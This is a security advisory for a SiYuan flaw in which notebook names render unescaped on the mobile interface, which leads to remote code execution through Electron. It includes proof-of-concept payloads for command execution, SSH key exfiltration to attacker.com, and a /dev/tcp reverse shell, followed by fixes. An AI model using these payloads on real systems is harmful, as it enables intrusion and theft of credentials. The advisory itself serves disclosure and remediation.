CVE-2026-32751

# Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface ## Summary SiYuan's mobile file tree (`MobileFiles.ts`) renders notebook names via `innerHTML` without HTML escaping when processing `renamenotebook` WebSocket events. The desktop version (`Files.ts`) properly uses `escapeHtml()` for the same operation. An authenticated user who can rename notebooks can inject arbitrary HTML/JavaScript that executes on any mobile client viewing the file tree. Since Electron is configured with `nodeIntegration: true` and `contextIsolation: false`, the injected JavaScript has full Node.js access, escalating stored XSS to **full remote code execution**. The mobile layout is also used in the Electron desktop app when the window is narrow, making this exploitable on desktop as well. ## Affected Component - **Vulnerable file:** `app/src/mobile/dock/MobileFiles.ts:77` - **Safe counterpart:** `app/src/layout/dock/Files.ts:104` (uses `escapeHtml`) - **Backend (no escaping):** `kernel/api/notebook.go:104-116` (`renameNotebook`) - **Electron config:** `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`) - **Endpoint:** `POST /api/notebook/renameNotebook` (authenticated) - **Version:** SiYuan <= 3.5.9 ## Vulnerable Code ### Mobile — no escaping (MobileFiles.ts:77) ```typescript case "renamenotebook": this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name; break; ``` ### Desktop — properly escaped (Files.ts:104) ```typescript case "renamenotebook": this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name); break; ``` ### Backend — sends unescaped name (notebook.go:104-116) ```go func renameNotebook(c *gin.Context) { // ... name := arg["name"].(string) err := model.RenameBox(notebook, name) // ... evt := util.NewCmdResult("renamenotebook", 0, util.PushModeBroadcast) evt.Data = map[string]interface{}{ "box": notebook, "name": name, // Unescaped — sent directly to all clients } util.PushEvent(evt) } ``` `model.RenameBox()` only validates length (512 chars max) and emptiness — no HTML sanitization. ### Electron — Node.js in renderer (main.js:422-426) ```javascript webPreferences: { nodeIntegration: true, webviewTag: true, webSecurity: false, contextIsolation: false, } ``` Any JavaScript executed via innerHTML has full access to `require('child_process')`, `require('fs')`, `require('net')`, etc. ## Proof of Concept **Tested and confirmed on SiYuan v3.5.9 (Docker).** ### 1. Set malicious notebook name (RCE payload) ```http POST /api/notebook/renameNotebook HTTP/1.1 Content-Type: application/json Cookie: siyuan=<session> { "notebook": "<NOTEBOOK_ID>", "name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">" } ``` On Linux/macOS: ```json { "notebook": "<NOTEBOOK_ID>", "name": "<img src=x onerror=\"require('child_process').exec('id > /tmp/pwned')\">" } ``` **Confirmed:** API accepts the name without escaping. The `renamenotebook` WebSocket event broadcasts the raw HTML to all connected clients. ### 2. Mobile client renders and executes When any mobile client receives the `renamenotebook` event, `MobileFiles.ts:77` sets `innerHTML = data.data.name`. The `<img>` tag's `src=x` fails to load, triggering `onerror` which calls `require('child_process').exec()` — **arbitrary OS command execution**. ### 3. Verified event content ```python # Unauthenticated WebSocket listener receives: { "cmd": "renamenotebook", "data": { "box": "20260309161535-do8qg95", "name": "<img src=x onerror=\"require('child_process').exec('calc.exe')\">" } } ``` The HTML/JS payload is preserved verbatim in the WebSocket event. ### 4. Data exfiltration variant ```json { "notebook": "<NOTEBOOK_ID>", "name": "<img src=x onerror=\"fetch('https://attacker.com/exfil?k='+require('fs').readFileSync(require('os').homedir()+'/.ssh/id_rsa','utf8'))\">" } ``` ### 5. Reverse shell variant ```json { "notebook": "<NOTEBOOK_ID>", "name": "<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/attacker.com/4444 0>&1\\\"')\">" } ``` ## Attack Scenario 1. In a multi-user SiYuan deployment, an attacker with editor role renames a notebook with an RCE payload 2. The `renamenotebook` event broadcasts the payload to ALL connected clients 3. Any user viewing the file tree on the mobile interface (or desktop in narrow/mobile layout) triggers the payload 4. `nodeIntegration: true` gives the injected JavaScript full OS access 5. Attacker achieves arbitrary command execution on the victim's machine **Persistence:** The notebook name is stored in the notebook's `.siyuan/conf.json`. The payload re-triggers every time the file tree renders on mobile — it survives restarts. **Sync vector:** If the workspace is synced (SiYuan Cloud Sync or S3), the malicious notebook name propagates to all synced devices automatically. ## Impact - **Severity:** CRITICAL (CVSS ~9.0) - **Type:** CWE-79 (Improper Neutralization of Input During Web Page Generation) - Full remote code execution on Electron desktop via `nodeIntegration: true` - Stored XSS — notebook names persist across sessions and survive restarts - Propagates via cloud sync to all synced devices - Affects all mobile interface users and desktop users in mobile/narrow layout - Inconsistent escaping — desktop is safe, mobile is not (indicates oversight) - Can steal files, credentials, SSH keys, install backdoors, open reverse shells ## Suggested Fix ### 1. Apply the same escaping used in the desktop version ```typescript // Before (vulnerable): this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = data.data.name; // After (fixed): this.element.querySelector(`[data-url="${data.data.box}"] .b3-list-item__text`).innerHTML = escapeHtml(data.data.name); ``` ### 2. Sanitize notebook names on the backend ```go func RenameBox(boxID, name string) (err error) { name = util.EscapeHTML(name) // Sanitize at the source // ... } ``` ### 3. Long-term: Harden Electron configuration ```javascript webPreferences: { nodeIntegration: false, contextIsolation: true, sandbox: true, } ```

SiYuan Vulnerable to Remote Code Execution via Stored XSS in Notebook Name - Mobile Interface in github.com/siyuan-note/siyuan/kernel